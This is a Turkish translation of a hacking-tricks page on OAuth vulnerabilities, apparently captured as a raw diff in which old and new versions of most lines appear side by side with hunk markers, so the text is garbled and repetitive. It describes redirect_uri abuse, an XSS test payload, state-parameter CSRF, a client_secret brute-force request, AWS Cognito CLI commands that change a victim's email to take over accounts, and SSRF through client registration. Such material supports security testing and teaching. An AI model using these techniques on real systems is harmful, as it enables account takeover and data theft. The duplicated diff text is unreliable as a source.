- **yetkilendirme sunucusu**: `kaynak sahibi`nin başarılı kimlik doğrulamasını ve yetkilendirmeyi takiben `erişim belirteci`ni `istemci uygulamasına` veren **sunucu**, örneğin **https://socialmedia.com**.
- **kaynak sahibi**: Siz, **kullanıcı/öğe** olarak, sosyal medya hesabınızın gönderilerine erişim izni verirsiniz.
- **kaynak sunucusu**: Uygulama, `erişim belirteci`ni `kaynak sahibi` adına aldıktan sonra kimlik doğrulama isteklerini yöneten **sunucu**, örneğin **https://sosyalmedya.com**.
- **istemci uygulaması**: `kaynak sahibi`nden yetki isteyen **uygulama**, örneğin **https://ornek.com**.
- **yetkilendirme sunucusu**: `kaynak sahibi`nin başarılı kimlik doğrulamasını ve yetkilendirmeyi sağladıktan sonra `erişim belirteçlerini` `istemci uygulamasına` veren **sunucu**, örneğin **https://sosyalmedya.com**.
- **client\_id**: Uygulama için genel, benzersiz bir tanımlayıcı.
- **client\_secret**: Yalnızca uygulama ve yetkilendirme sunucusu tarafından bilinen gizli bir anahtar, `erişim belirteci` oluşturmak için kullanılır.
- **response\_type**: İstenen belirteç türünü belirten bir değer, örneğin `code`.
- **scope**: `istemci uygulamasının` `kaynak sahibinden` istediği **erişim düzeyi**.
- **redirect\_uri**: Yetkilendirme sonrasında kullanıcının yönlendirildiği **URL**. Bu genellikle önceden kaydedilmiş yönlendirme URL'siyle uyumlu olmalıdır.
- **state**: Verilerin kullanıcının yetkilendirme sunucusuna yönlendirilmesi ve sunucudan geri yönlendirilmesi sırasında **verilerin korunması için bir parametre**. Benzersizliği, **CSRF koruma mekanizması** olarak önemlidir.
- **grant\_type**: İzin türünü ve döndürülecek belirteç türünü belirten bir parametre.
- **code**: `yetkilendirme sunucusundan` alınan yetkilendirme kodu, `istemci uygulaması` tarafından `client_id` ve `client_secret` ile birlikte kullanılarak bir `erişim belirteci` elde etmek için kullanılır.
- **access\_token**: `istemci uygulamasının` API isteklerinde kullanacağı **belirteç**, `kaynak sahibi` adına.
- **refresh\_token**: Uygulamanın kullanıcıyı tekrar sormadan yeni bir `erişim belirteci` elde etmesini sağlar.
- **client\_secret:** Yalnızca uygulama ve yetkilendirme sunucusu tarafından bilinen gizli bir anahtar, `erişim belirteçleri` oluşturmak için kullanılır.
- **response\_type**: İstenen **token türünü belirten** bir değer, örneğin `code`.
- **scope**: `istemci uygulamasının` `kaynak sahibinden` istediği **erişim seviyesi**.
- **redirect\_uri**: Yetkilendirme sonrası kullanıcının yönlendirileceği **URL**. Genellikle önceden kayıtlı yönlendirme URL'siyle uyumlu olmalıdır.
- **state**: Kullanıcının yetkilendirme sunucusuna yönlendirilirken ve oradan geri dönerken **verileri korumak için bir parametre**. Benzersizliği, **CSRF koruma mekanizması** olarak hizmet etmesi için önemlidir.
- **grant\_type**: **Tahsis türünü ve döndürülecek token türünü belirten** bir parametre.
- **code**: `yetkilendirme sunucusundan` alınan yetkilendirme kodu, `istemci uygulaması` tarafından `client_id` ve `client_secret` ile birlikte kullanılarak `erişim belirteci` elde etmek için kullanılır.
- **access\_token**: `istemci uygulamasının` API isteklerinde kullanacağı **token** `kaynak sahibi` adına.
- **refresh\_token**: Uygulamanın **kullanıcıya tekrar soru sormadan yeni bir `erişim belirteci` almasını sağlar**.
### Akış
**Gerçek OAuth akışı** aşağıdaki gibi ilerler:
**Gerçek OAuth akışı** şu şekilde devam eder:
1. [https://example.com](https://example.com) adresine gidip "Sosyal Medya ile Entegre Ol" düğmesini seçersiniz.
2. Site, https://example.com'un uygulamasının gönderilerinize erişim sağlaması için sizin izniniz istenmesi için [https://socialmedia.com](https://socialmedia.com) adresine bir istek gönderir. İstek aşağıdaki gibi yapılandırılmıştır:
1. [https://ornek.com](https://ornek.com) adresine giderek "Sosyal Medya ile Entegre Ol" düğmesini seçersiniz.
2. Site, ardından https://ornek.com'un uygulamasının gönderilerinize erişmesine izin vermeniz için [https://sosyalmedya.com](https://sosyalmedya.com) adresine bir istek gönderir. İstek şu şekilde yapılandırılmıştır:
```
https://socialmedia.com/auth
?response_type=code
@ -51,63 +55,63 @@ https://socialmedia.com/auth
&scope=readPosts
&state=randomString123
```
3. Ardından bir onay sayfasıyla karşılaşırsınız.
3. Ardından bir onay sayfası ile karşılaşırsınız.
4. Onayınızı takiben, Sosyal Medya `redirect_uri`'ye `code` ve `state` parametreleriyle bir yanıt gönderir:
4. Onayınızı takiben, Sosyal Medya, `redirect_uri`'ye `code` ve `state` parametreleri ile bir yanıt gönderir:
```
https://example.com?code=uniqueCode123&state=randomString123
```
5. https://example.com, bu `code`'u, `client_id` ve `client_secret` ile birlikte kullanarak sizin adınıza bir sunucu tarafı isteği yapar ve sizin onayladığınız izinlere erişim sağlamak için bir `access_token` elde eder:
5. https://example.com, bu `code`'u, `client_id` ve `client_secret`'ı birlikte kullanarak sizin adınıza bir sunucu tarafı isteği yapar ve sizin onayladığınız izinlere erişim sağlayan bir `access_token` alır:
```
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
```
6. Son olarak, süreç https://example.com'un `access_token`'ı kullanarak Sosyal Medya'ya erişmek için bir API çağrısı yapmasıyla sonuçlanır.
6. Son olarak, işlem, https://example.com'un `access_token`'ını kullanarak bir API çağrısı yaparak Sosyal Medya'ya erişir.
## Zayıflıklar <a href="#323a" id="323a"></a>
## Zafiyetler <a href="#323a" id="323a"></a>
### Açık redirect\_uri <a href="#cc36" id="cc36"></a>
`redirect_uri`, OAuth ve OpenID uygulamalarında güvenlik açısından önemlidir çünkü yetkilendirme sonrasında yetkilendirme kodları gibi hassas verilerin gönderildiği yeri yönlendirir. Yanlış yapılandırıldığında, saldırganların bu istekleri kötü amaçlı sunuculara yönlendirmesine izin vererek hesap ele geçirmesine olanak tanıyabilir.
`redirect_uri`, OAuth ve OpenID uygulamalarında güvenlik açısından önemlidir, çünkü hassas verileri, örneğin yetkilendirme kodlarını, yetkilendirme sonrası nereye gönderileceğini yönlendirir. Yanlış yapılandırılmışsa, saldırganların bu istekleri kötü amaçlı sunuculara yönlendirmesine izin vererek hesap ele geçirmesine olanak tanıyabilir.
Sömürü teknikleri, yetkilendirme sunucusunun doğrulama mantığına bağlı olarak değişir. Bunlar, katı yol eşleştirmesinden belirtilen etki alanı veya alt dizindeki herhangi bir URL'yi kabul etmeye kadar uzanabilir. Yaygın sömürü yöntemleri arasında açık yönlendirmeler, yol geçişi, zayıf regexlerin sömürülmesi ve belirteç hırsızlığı için HTML enjeksiyonu bulunur.
Sömürü teknikleri, yetkilendirme sunucusunun doğrulama mantığına bağlı olarak değişir. Bunlar, katı yol eşleştirmesinden belirli etki alanı veya alt dizindeki herhangi bir URL'i kabul etmeye kadar uzanabilir. Yaygın sömürü yöntemleri arasında açık yönlendirmeler, yol geçişi, zayıf regexlerin sömürülmesi ve belirteç hırsızlığı için HTML enjeksiyonu bulunur.
`redirect_uri` dışında, `client_uri`, `policy_uri`, `tos_uri` ve `initiate_login_uri` gibi diğer OAuth ve OpenID parametreleri de yönlendirme saldırılarına karşı savunmasız olabilir. Bu parametreler isteğe bağlıdır ve destekleri sunucular arasında değişir.
`redirect_uri` dışında, `client_uri`, `policy_uri`, `tos_uri` ve `initiate_login_uri` gibi diğer OAuth ve OpenID parametreleri de yönlendirme saldırılarına duyarlıdır. Bu parametreler isteğe bağlıdır ve destekleri sunucular arasında değişir.
OpenID sunucusunu hedefleyenler için keşif ucu noktası (`**.well-known/openid-configuration**`), `registration_endpoint`, `request_uri_parameter_supported` ve "`require_request_uri_registration` gibi değerli yapılandırma ayrıntılarını genellikle listeler. Bu ayrıntılar, sunucunun kayıt ucu noktasını ve diğer yapılandırma ayrıntılarını belirlemeye yardımcı olabilir.
Bir OpenID sunucusunu hedefleyenler için keşif ucu noktası (`**.well-known/openid-configuration**`), genellikle `registration_endpoint`, `request_uri_parameter_supported` ve "`require_request_uri_registration` gibi değerli yapılandırma ayrıntılarını listeleyebilir. Bu ayrıntılar, sunucunun kayıt ucu noktasını ve diğer yapılandırma özelliklerini tanımlamada yardımcı olabilir.
### Yönlendirme uygulamasında XSS <a href="#bda5" id="bda5"></a>
Bu hata avı raporunda [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) belirtildiği gibi, kullanıcının kimlik doğrulamasından sonra sunucunun yanıtında **URL'nin yansıtıldığı** ve **XSS'ye karşı savunmasız** olabileceği mümkündür. Test etmek için olası yük:
Bu hata ödülü raporunda belirtildiği gibi [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) muhtemelen yönlendirme **URL'sinin**, kullanıcı kimlik doğrulamasından sonra sunucunun yanıtında **yansıtıldığı** ve **XSS'ye duyarlı** olduğu olabilir. Test etmek için olası yük:
```
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
```
### CSRF - Durum parametresinin yanlış işlenmesi <a href="#bda5" id="bda5"></a>
OAuth uygulamalarında **`state` parametresinin** yanlış kullanılması veya atlanması, **Cross-Site Request Forgery (CSRF)** saldırılarının riskini önemli ölçüde artırabilir. Bu güvenlik açığı, `state` parametresinin ya **kullanılmaması, sabit bir değer olarak kullanılması veya doğru şekilde doğrulanmaması** durumunda ortaya çıkar ve saldırganların CSRF korumalarını atlamasına izin verir.
OAuth uygulamalarında, **`state` parametresinin** yanlış kullanımı veya ihmal edilmesi, **Cross-Site Request Forgery (CSRF)** saldırılarının riskini önemli ölçüde artırabilir. Bu zafiyet, `state` parametresinin ya **kullanılmaması, sabit bir değer olarak kullanılması veya doğru şekilde doğrulanmaması** durumunda ortaya çıkar ve saldırganların CSRF korumalarını atlamasına izin verir.
Saldırganlar, yetkilendirme sürecini araya girerek kendi hesaplarını kurbanın hesabıyla bağlayarak potansiyel **hesap ele geçirmelerine** yol açabilirler. Bu durum özellikle OAuth'nin **kimlik doğrulama amaçlı** kullanıldığı uygulamalarda kritik öneme sahiptir.
Saldırganlar, yetkilendirme sürecini ele geçirerek kendi hesaplarını kurbanın hesabıyla bağlantılı hale getirerek potansiyel **hesap ele geçirmelerine** yol açabilir. Bu özellikle OAuth'nin **kimlik doğrulama amaçlı** kullanıldığı uygulamalarda son derece kritiktir.
Bu güvenlik açığına ilişkin gerçek dünya örnekleri, çeşitli **CTF zorlukları** ve **hacking platformları** tarafından belgelenmiş ve pratik sonuçlarını ortaya koymuştur. Sorun, **Slack**, **Stripe** ve **PayPal** gibi üçüncü taraf hizmetlerle olan entegrasyonlara da uzanır ve saldırganlar bildirimleri veya ödemeleri kendi hesaplarına yönlendirebilirler.
Bu zafiyetin gerçek dünya örnekleri çeşitli **CTF meydan okumalarında** ve **hacking platformlarında** belgelenmiş ve pratik sonuçlarını vurgulamıştır. Sorun, **Slack**, **Stripe** ve **PayPal** gibi üçüncü taraf hizmetlerle entegrasyonlara da uzanır, burada saldırganlar bildirimleri veya ödemeleri kendi hesaplarına yönlendirebilirler.
CSRF'ye karşı korunmak ve OAuth akışını güvence altına almak için **`state` parametresinin** doğru şekilde işlenmesi ve doğrulanması önemlidir.
**`state` parametresinin** doğru şekilde işlenmesi ve doğrulanması, CSRF'ye karşı korunma ve OAuth akışını güvence altına alma açısından hayati öneme sahiptir.
### Hesap Ele Geçirme Öncesi <a href="#ebe4" id="ebe4"></a>
1. **Hesap Oluşturmada E-posta Doğrulaması Olmaksızın**: Saldırganlar, kurbanın e-postasını kullanarak önceden bir hesap oluşturabilirler. Kurban daha sonra giriş için üçüncü taraf bir hizmet kullanırsa, uygulama yanlışlıkla bu üçüncü taraf hesabını saldırganın önceden oluşturduğu hesapla ilişkilendirebilir ve yetkisiz erişime yol açabilir.
1. **Hesap Oluştururken E-posta Doğrulaması Olmadan**: Saldırganlar, kurbanın e-postasını kullanarak önceden bir hesap oluşturabilirler. Eğer kurban daha sonra giriş yapmak için üçüncü taraf bir hizmet kullanırsa, uygulama bu üçüncü taraf hesabını yanlışlıkla saldırganın önceden oluşturduğu hesapla ilişkilendirebilir ve yetkisiz erişime yol açabilir.
2. **Geçerli Olmayan OAuth E-posta Doğrulamasının Sömürülmesi**: Saldırganlar, e-postaları doğrulamayan OAuth hizmetlerini sömürebilirler. Bunun için kendi servislerine kaydolup hesap e-postasını kurbanın e-postasıyla değiştirirler. Bu yöntem, ilk senaryoya benzer şekilde yetkisiz hesap erişimine yol açar, ancak farklı bir saldırı vektörü kullanır.
2. **Geçerli Olmayan OAuth E-posta Doğrulamasını Sömürme**: Saldırganlar, e-postaları doğrulamayan OAuth hizmetlerini sömürebilir ve kendi servislerine kaydolup daha sonra hesap e-postasını kurbanın e-postasıyla değiştirebilirler. Bu yöntem, ilk senaryoya benzer şekilde yetkisiz hesap erişimine yol açar, ancak farklı bir saldırı vektörü aracılığıyla gerçekleşir.
### Sırların Açığa Çıkarılması <a href="#e177" id="e177"></a>
Gizli OAuth parametrelerinin belirlenmesi ve korunması önemlidir. **`client_id`** güvenli bir şekilde açıklanabilirken, **`client_secret`**'in açığa çıkarılması önemli riskler oluşturur. Eğer `client_secret` tehlikeye düşerse, saldırganlar uygulamanın kimliğini ve güvenini sömürerek kullanıcı `access_token`'larını ve özel bilgileri çalabilirler.
Gizli OAuth parametrelerini tanımlamak ve korumak hayati önem taşır. **`client_id`** güvenle açıklanabilirken, **`client_secret`**'in açıklanması önemli riskler oluşturur. Eğer `client_secret` tehlikeye atılırsa, saldırganlar uygulamanın kimliğini ve güvenini sömürerek kullanıcı `access_token`'larını ve özel bilgileri **çalabilirler**.
Yaygın bir güvenlik açığı, uygulamaların yetkilendirme `code`'unun `access_token` ile değişimini sunucu tarafı yerine istemci tarafında yanlış şekilde işlemesidir. Bu hata, `client_secret`'in açığa çıkmasına neden olur ve saldırganların uygulama adına `access_token` üretmesine olanak tanır. Dahası, sosyal mühendislik yoluyla saldırganlar, OAuth yetkilendirmesine ek kapsamlar ekleyerek ayrıcalıkları artırabilir ve uygulamanın güvenilir durumunu daha da sömürebilirler.
Uygulamaların yetkilendirme `code`'unun `access_token` ile değiş tokuşunu sunucu tarafında değil istemci tarafında yanlış şekilde işlemesi durumunda yaygın bir zafiyet ortaya çıkar. Bu hata, `client_secret`'in açığa çıkmasına yol açar ve saldırganların uygulama adına `access_token`'lar oluşturmasına olanak tanır. Dahası, sosyal mühendislik aracılığıyla saldırganlar, OAuth yetkilendirmesine ek kapsamlar ekleyerek uygulamanın güvenilir durumunu daha da kötüye kullanabilirler.
### İstemci Gizli Kuvvet Saldırısı
### İstemci Sırrı Kaba Kuvvet Saldırısı
Hesapları çalmak için hizmet sağlayıcının **istemci gizli kuvvetini kaba kuvvetle deneyebilirsiniz**.\
Kimlik sağlayıcı ile hizmet sağlayıcısının **istemci_sırrını kaba kuvvet** ile deneyebilir ve hesapları çalmaya çalışabilirsiniz.\
BF'ye yönelik istek benzer olabilir:
```
POST /token HTTP/1.1
@ -118,9 +122,9 @@ Connection: close
code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]
```
### Referer Başlığı Sızdıran Kod + Durum
### Referer Header sızdıran Code + State
İstemci, **kod ve durumu** aldıktan sonra, farklı bir sayfaya göz attığında **Referer başlığı içinde yansıtılıyorsa**, bu zayıf bir noktadır.
Müşteri **code ve state**'e sahip olduktan sonra, farklı bir sayfaya göz attığında **Referer başlığında yansıtılıyorsa**, zayıf bir durumdadır.
### Erişim Belirteci Tarayıcı Geçmişinde Saklanıyor
@ -130,17 +134,17 @@ Tarayıcı geçmişine gidin ve **erişim belirtecinin orada kaydedilip kaydedil
**Yetkilendirme kodu, saldırganın çalıp kullanabileceği zaman penceresini sınırlamak için sadece belirli bir süre yaşamalıdır**.
### Yetkilendirme/Yenileme Belirteci, istemciye bağlı değil
### Yetkilendirme/Yenileme Belirteci müşteriye bağlı değil
**Yetkilendirme kodunu alabilir ve farklı bir istemciyle kullanabilirseniz, başka hesapları ele geçirebilirsiniz**.
Eğer **yetkilendirme kodunu alabilir ve farklı bir müşteriyle kullanabilirseniz, diğer hesapları ele geçirebilirsiniz**.
### Mutlu Yollar, XSS, İframe'ler ve Kod & Durum Değerlerini sızdırmak için Gönderi Mesajları
### Mutlu Yollar, XSS, İframe'ler ve Kod & State değerlerini sızdırmak için Post Mesajları
**[Bu gönderiyi kontrol edin](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)**
**[Bu yazıyı kontrol edin](https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)**
### AWS Cognito <a href="#bda5" id="bda5"></a>
Bu hata avı raporunda: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) **AWS Cognito**'nun kullanıcıya geri verdiği **belirtecin**, kullanıcı verilerini **üzerine yazmak için yeterli izinlere sahip olabileceğini** görebilirsiniz. Bu nedenle, **farklı bir kullanıcı e-postası için kullanıcı e-postasını değiştirebilirseniz**, başkalarının hesaplarını ele geçirebilirsiniz.
Bu hata ödülü raporunda: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) görebilirsiniz ki **AWS Cognito**'nun kullanıcıya geri verdiği **belirtecin**, kullanıcı verilerini **üzerine yazma iznine sahip olabileceği**. Bu nedenle, **farklı bir kullanıcı e-postası için kullanıcı e-postasını değiştirebilirseniz**, başkalarının hesaplarını **ele geçirebilirsiniz**.
```bash
# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
@ -157,66 +161,39 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
]
}
```
Daha detaylı bilgi için AWS Cognito'yu nasıl kötüye kullanacağınızı kontrol edin:
### Diğer Uygulamaların Token'larının Kötüye Kullanımı <a href="#bda5" id="bda5"></a>
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum" %}
[**Bu yazıda belirtildiği gibi**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), **token** (ve bir kod değil) bekleyen OAuth akışları, token'ın uygulamaya ait olup olmadığını kontrol etmezse savunmasız olabilir.
### Diğer Uygulama Tokenlarının Kötüye Kullanılması <a href="#bda5" id="bda5"></a>
[**Bu yazıda belirtildiği gibi**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), **token** (ve bir kod değil) bekleyen OAuth akışları, tokenın uygulamaya ait olup olmadığını kontrol etmezse savunmasız olabilir.
Bu, bir **saldırganın** kendi uygulamasında OAuth'yi destekleyen ve Facebook ile giriş yapabilen bir **uygulama oluşturabileceği** anlamına gelir. Ardından, bir kurbanın Facebook ile **saldırganın uygulamasında** oturum açması durumunda, saldırgan, kurbanın OAuth uygulamasına verilen **kullanıcı tokenını alabilir ve kurbanın kullanıcı tokenı kullanılarak kurbanın OAuth uygulamasına giriş yapabilir**.
Bu, çünkü bir **saldırgan**, kendi uygulamasında **OAuth'yi destekleyen ve Facebook ile giriş yapan bir uygulama oluşturabilir**. Ardından, bir kurbanın Facebook'ta **saldırganın uygulamasında oturum açtığında**, saldırgan, **kurbanın OAuth uygulamasına verilen kullanıcı token'ını alabilir ve bu token'ı kullanarak kurbanın OAuth uygulamasına kurbanın kullanıcı token'ı ile oturum açabilir**.
{% hint style="danger" %}
Bu nedenle, saldırgan kullanıcının kendi OAuth uygulamasına erişmesini sağlarsa, tokenın uygulama kimliklerine verilip verilmediğini kontrol etmeyen uygulamalarda kurbanın hesabını ele geçirebilir.
Bu nedenle, saldırgan, kullanıcının kendi OAuth uygulamasına erişmesini sağlarsa, token'ın verildiği uygulama kimliğine bakılmaksızın token bekleyen ve token'ın uygulama kimliğine verilip verilmediğini kontrol etmeyen uygulamalarda kurbanın hesabını ele geçirebilecektir.
{% endhint %}
### İki bağlantı ve çerez <a href="#bda5" id="bda5"></a>
[**Bu yazıda belirtildiği gibi**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), bir kurbanın saldırganın ana bilgisayarına yönlendiren bir **returnUrl**'ye sahip bir sayfayı açması mümkündü. Bu bilgi bir **çerezde (RU)** saklanacak ve bir **sonraki adımda** **prompt**, **kullanıcıya** bu saldırganın ana bilgisayarına erişim vermek isteyip istemediğini **soracaktır**.
[**Bu yazıda belirtildiği gibi**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), bir kurbanın **dönüş URL'si**ni saldırganın ana bilgisayarına işaret eden bir sayfayı açmasını sağlamak mümkündü. Bu bilgi bir **çerezde (RU)** saklanacak ve **daha sonra** **prompt**, **kullanıcıya** bu saldırganın ana bilgisayarına erişim vermek isteyip istemediğini **soracaktır**.
Bu prompt'u atlamak için, **Oauth akışını başlatan** ve bu RU çerezini **returnUrl** kullanarak ayarlayan bir sekme açmak, prompt gösterilmeden önce sekme kapatmak ve bu değeri olmadan yeni bir sekme açmak mümkündü. Ardından, **prompt saldırganın ana bilgisayarını bilgilendirmeyecek**, ancak çerez ona ayarlanacak, bu nedenle **token yönlendirmede saldırganın ana bilgisayarına gönderilecektir**.
Bu prompt'u atlamak için, **dönüş URL'sini** kullanan bu RU çerezini ayarlayacak **Oauth akışını başlatmak için bir sekme açmak**, prompt gösterilmeden önce sekme kapatmak ve bu değeri olmadan yeni bir sekme açmak mümkündü. Ardından, **prompt, saldırganın ana bilgisayarından bahsetmeyecek**, ancak çerez ona ayarlanacak, böylece **token yönlendirmede saldırganın ana bilgisayarına gönderilecektir**.
### SSRF parametreleri <a href="#bda5" id="bda5"></a>
**Bu tekniğin daha ayrıntılı bilgileri için [bu araştırmayı kontrol edin](https://portswigger.net/research/hidden-oauth-attack-vectors).**
Bu tekniğin daha fazla ayrıntısı için **[bu araştırmayı kontrol edin](https://portswigger.net/research/hidden-oauth-attack-vectors)**.
OAuth'da Dinamik İstemci Kaydı, özellikle **Sunucu Tarafı İstek Sahteciliği (SSRF)** saldırıları için daha az açık ama kritik bir vektör olarak hizmet verir. Bu uç nokta, OAuth sunucularının hassas URL'leri de dahil olmak üzere istemci uygulamaları hakkında ayrıntıları almasına olanak tanır ve bu URL'lerin kötüye kullanılmasına neden olabilir.
OAuth'da Dinamik İstemci Kaydı, özellikle **Sunucu Tarafı İstek Sahtekarlığı (SSRF)** saldırıları için daha az açık ancak kritik bir vektör olarak hizmet verir. Bu uç nokta, OAuth sunucularının hassas URL'leri de içeren istemci uygulamaları hakkında ayrıntılar almasına olanak tanır.
**Ana Noktalar:**
- **Dinamik İstemci Kaydı** genellikle `/register` ile eşleştirilir ve `client_name`, `client_secret`, `redirect_uris` ve POST istekleri aracılığıyla logolar veya JSON Web Anahtar Setleri (JWK'ler) için URL'ler gibi ayrıntıları kabul eder.
- Bu özellik, SSRF'ye açık olabilen parametrelere sahip **RFC7591** ve **OpenID Connect Registration 1.0** tarafından belirlenen özelliklere uyar.
- Kayıt süreci, sunucuları yanlışlıkla SSRF'ye abilir:
- **`logo_uri`**: Sunucu tarafından alınabilecek istemci uygulamasının logosu için bir URL, bu da SSRF'yi tetikleyebilir veya URL yanlış işlenirse XSS'ye yol açabilir.
- **`jwks_uri`**: İstemcinin JWK belgesine bir URL, kötü niyetli olarak oluşturulursa sunucunun saldırgan tarafından kontrol edilen bir sunucuya çıkış istekleri yapmasına neden olabilir.
- **`sector_identifier_uri`**: Sunucu tarafından alınabilecek bir `redirect_uris` JSON dizisine referans verir, bu da SSRF fırsatı yaratabilir.
- **`request_uris`**: İstemci için izin verilen istek URI'lerini listeler, sunucunun yetkilendirme sürecinin başında bu URI'leri alırsa kötüye kullanılabilir.
- **Dinamik İstemci Kaydı** genellikle `/register` ile eşleştirilir ve `client_name`, `client_secret`, `redirect_uris` ve POST istekleri aracılığıyla logolar veya JSON Web Anahtar Kümesi (JWK'ler) için URL'ler gibi ayrıntıları kabul eder.
- Bu özellik, **RFC7591** ve **OpenID Connect Registration 1.0** tarafından belirlenen özelliklere uyar ve SSRF'ye açık olabilecek parametreleri içerir.
- Kayıt süreci, sunucuları yanlışlıkla SSRF'ye maruz bırakabilir:
- **`logo_uri`**: Sunucu tarafından alınabilecek istemci uygulamasının logosu için bir URL, SSRF'yi tetikleyebilir veya URL yanlış işlenirse XSS'e yol açabilir.
- **`jwks_uri`**: İstemcinin JWK belgesine bir URL, kötü amaçlı olarak oluşturulursa, sunucunun saldırganın kontrol ettiği bir sunucuya çıkış istekleri yapmasına neden olabilir.
- **`sector_identifier_uri`**: Bir JSON dizisine `redirect_uris` referans verir, sunucu bunu alarak SSRF fırsatı yaratabilir.
- **`request_uris`**: İstemci için izin verilen istek URI'lerini listeler, sunucunun yetkilendirme sürecinin başında bu URI'leri alması durumunda sömürülebilir.
**Sömürü Stratejisi:**
- SSRF, `logo_uri`, `jwks_uri` veya `sector_identifier_uri` gibi parametrelerde kötü niyetli URL'lerle yeni bir istemci kaydederek tetiklenebilir.
- `request_uris` aracılığıyla doğrudan sömürü, beyaz liste kontrolleri tarafından hafifletilebilirken, önceden kaydedilmiş, saldırgan tarafından kontrol edilen bir `request_uri` sağlamak, yetkilendirme aşamasında SSRF'yi kolaylaştırabilir.
## OAuth sağlayıcıları Yarış Koşulları
Test ettiğiniz platform bir OAuth sağlayıcı ise, [**mümkün olan Yarış Koşullarını test etmek için bunu okuyun**](race-condition.md).
## Referanslar
* [**https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1**](https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1)
* [**https://portswigger.net/research/hidden-oauth-attack-vectors**](https://portswigger.net/research/hidden-oauth-attack-vectors)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin!</summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklam vermek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da takip edin 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live).
* Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek katkıda bulunun.
</details>
- SSRF, `logo_uri`, `jwks_uri` veya `sector_identifier_uri` gibi parametrelerde kötü amaçlı URL'lerle yeni bir istemci kaydedilerek tetiklenebilir.
- Doğrudan `request_uris` üzerinden sömürü belki de beyaz liste kontrolleri ile hafifletilebilir, ancak önceden kaydedilmiş, saldırgan tarafından kontrol edilen bir `request_uri` sağlamak, yetkilendirme aşamasında SSRF'yi kolaylaştırabilir.

View file

@ -2,79 +2,89 @@
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamını görmek** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek** paylaşın.
* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
</details>
